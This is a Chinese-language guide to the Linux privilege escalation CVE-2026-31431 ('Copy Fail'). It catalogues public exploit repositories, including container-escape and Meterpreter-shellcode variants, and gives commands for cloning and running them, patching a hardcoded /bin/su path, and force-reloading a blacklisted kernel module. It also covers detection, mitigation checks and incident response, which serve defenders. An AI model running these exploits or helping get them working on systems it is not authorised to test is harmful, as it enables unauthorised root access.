CVE-2026-31431 PoC 清单与故障排查 — theori-io copy_fail_exp.py 不工作问题分析
TL;DR:CVE-2026-31431 (Copy Fail) 有多个可用 PoC,但官方 theori-io 版本存在 Python 版本兼容性、路径硬编码等问题。本文汇总各类 PoC 以及常见故障排查方案。
1. PoC 生态概览
1.1 官方 PoC(theori-io)
- 仓库:theori-io/copy-fail-CVE-2026-31431
- 脚本:
copy_fail_exp.py(732 字节) - 特点:原创发现者发布,技术参考价值最高
- 问题:兼容性限制较多(详见下文故障排查)
1.2 社区改进版本
| 仓库 | 语言 | 特色功能 | 兼容性 |
|---|---|---|---|
| rootsecdev/cve_2026_31431 | Python | 检测+利用分离,test_cve_2026_31431.py / exploit_cve_2026_31431.py | ✓ |
| Naimadx123/cve_2026_31431 | Python | 类似 rootsecdev 版本 | ✓ |
| DENNISDGR/CVE-2026-31431-poc | Python | 支持命令行参数,非交互式环境可用 | ✓ |
| Smarttfoxx/copyfail | C | ELF 解析 + splice(),性能优化 | ✓ |
| iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail | Rust | 支持自定义 shellcode(如 Meterpreter) | ✓ |
| yuspring/cve-2026-31431-poc | Python | 简化版实现 | ✓ |
1.3 专用场景 PoC
| 仓库 | 目标场景 | 技术亮点 |
|---|---|---|
| Percivalll/Copy-Fail-CVE-2026-31431-Kubernetes-PoC | Kubernetes 容器逃逸 | 共享镜像层利用,从非特权容器获得节点级代码执行 |
| SpenserCai/copy_fail | 运行时防御研究 | Rust PoC + eBPF 防御,LSM/kprobe 双模式阻断 |
| liamromanis101/CVE-2026-31431-Copy-Fail---Vulnerability-Detection-Script | 仅检测 | 安全的脆弱性检测,无破坏性 |
2. theori-io copy_fail_exp.py 故障排查
2.1 Python 版本兼容性问题
错误症状:
bash
AttributeError: module 'os' has no attribute 'splice'
受影响系统:
- Debian 11 (Python 3.9.2)
- Rocky Linux 9.7 (Python 3.9.25)
- Ubuntu 18.04/20.04 默认 Python
- 其他 Python < 3.10 的发行版
根本原因:
os.splice() 是 Python 3.10 引入的新系统调用接口。旧版本 Python 不支持。
解决方案:
bash
# A. 升级 Python
sudo apt install python3.10 # Ubuntu/Debian
python3.10 copy_fail_exp.py
# B. 使用 pyenv 管理多版本
curl https://pyenv.run | bash
pyenv install 3.11.0
pyenv local 3.11.0
python copy_fail_exp.py
# C. 使用社区兼容版本(推荐)
git clone https://github.com/rootsecdev/cve_2026_31431.git
cd cve_2026_31431
python3 exploit_cve_2026_31431.py
2.2 路径硬编码问题
错误症状:
bash
FileNotFoundError: [Errno 2] No such file or directory: '/usr/bin/su'
受影响系统:
- 较老的 Linux 发行版(
su位于/bin/su) - 某些 minimal 安装
解决方案:
bash
# A. 检查 su 位置
which su
# B. 修改脚本(如果你要用原版)
sed -i 's|/usr/bin/su|/bin/su|g' copy_fail_exp.py
# C. 使用自适应版本
python3 -c "
import subprocess, os
su_path = subprocess.check_output(['which', 'su']).decode().strip()
print(f'su 位于: {su_path}')
"
2.3 内核模块禁用检查
错误症状:
bash
OSError: [Errno 2] No such file or directory
# 或者脚本执行没有效果
可能原因:
- 已应用 kmod 缓解(
algif_aead被 blacklist) - 内核已打补丁
- SELinux/AppArmor 阻断
检查方法:
bash
# 1. 检查模块是否可加载
sudo modprobe -n -v algif_aead
# 期望: 正常输出模块路径,或报错 "blacklisted"
# 2. 检查 modprobe 配置
grep -r algif_aead /etc/modprobe.d/
cat /proc/modules | grep algif
# 3. 检查内核版本是否已修复
uname -r
# 对比已知修复版本:6.18.22, 6.19.12, 7.0+
# 4. 绕过检查:强制加载(谨慎)
sudo rmmod algif_aead 2>/dev/null
sudo modprobe algif_aead
lsmod | grep algif_aead
2.4 容器环境特殊问题
Docker/Podman:
bash
# 需要特权模式或 capabilities
docker run --privileged -it ubuntu:20.04
# 或
docker run --cap-add=SYS_ADMIN -it ubuntu:20.04
LXC/LXD:
bash
# 检查 security.nesting 是否启用
lxc config get container security.nesting
2.5 Page Cache 污染持久化问题
注意:成功运行 PoC 后,/bin/su 的内存副本被污染,即使卸载模块也会保持 root 权限,直到重启。
验证污染状态:
bash
# 运行 PoC 后检查
sudo rmmod algif_aead
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif_aead.conf
# su 依然可以获得 root(即使模块已禁用)
su # <- 这里依然是 rootshell
清理:只有重启系统才能清除 page cache 污染。
3. 推荐使用姿势
3.1 安全检测(推荐优先)
bash
# 使用安全检测脚本(无破坏性)
git clone https://github.com/liamromanis101/CVE-2026-31431-Copy-Fail---Vulnerability-Detection-Script.git
cd CVE-2026-31431-Copy-Fail---Vulnerability-Detection-Script
python3 detect.py
3.2 授权测试场景
bash
# A. 通用兼容版(Python 任意版本)
git clone https://github.com/rootsecdev/cve_2026_31431.git
cd cve_2026_31431
python3 test_cve_2026_31431.py # 检测
python3 exploit_cve_2026_31431.py # 利用
# B. 高级功能版(自定义 payload)
git clone https://github.com/DENNISDGR/CVE-2026-31431-poc.git
cd CVE-2026-31431-poc
python3 exploit.py --cmd "id; whoami; uname -a"
# C. 性能优化版(C 实现)
git clone https://github.com/Smarttfoxx/copyfail.git
cd copyfail
make
./copyfail
# D. 容器逃逸测试(K8s 环境)
git clone https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kubernetes-PoC.git
# 按照 README 在 K8s 环境部署测试
3.3 防御验证
bash
# eBPF 运行时阻断测试
git clone https://github.com/SpenserCai/copy_fail.git
cd copy_fail
# 先启动 eBPF 防御,再测试 PoC 是否被拦截
4. 缓解确认测试
4.1 kmod 缓解验证
bash
# 1. 确认 kmod 版本(Ubuntu)
dpkg -l kmod | awk '/^ii/{print $2,$3}'
# Ubuntu 20.04 ESM: >= 27-1ubuntu2.1+esm1
# 2. 尝试手动加载(应该失败)
sudo modprobe algif_aead
lsmod | grep algif_aead || echo "模块被阻止,缓解生效"
# 3. 使用 PoC 验证(应该失败)
python3 -c "
import socket
s = socket.socket(38, 5, 0) # AF_ALG
try:
s.bind(('aead', 'gcm(aes)'))
print('VULNERABLE: algif_aead 可绑定')
except:
print('MITIGATED: algif_aead 绑定失败')
"
4.2 内核补丁验证
bash
# 检查当前内核是否包含修复
uname -r
dmesg | grep -i "copy.fail\|algif\|aead"
# Ubuntu Security 查询
curl -s "https://ubuntu.com/security/cves/cve-2026-31431.json" | jq '.releases'
5. 应急响应 checklist
发现可疑利用时:
- 立即检查
/var/log/kern.log和dmesg | grep splice - 审计最近的
su/sudo使用:grep -E "(su|sudo)" /var/log/auth.log - 检查异常进程:
ps aux | grep -E "(root|euid=0)" | head -20 - 隔离受影响主机,禁止网络访问
- 强制重启清除 page cache 污染:
sudo reboot - 重启后立即应用 kmod 缓解 + 内核升级
- 审查所有容器镜像,确认基础层是否已修复
6. 参考资源
技术分析
官方修复公告
威胁情报
免责声明:所有 PoC 仅供授权测试使用,严禁用于非法攻击。在生产环境测试前请充分评估风险。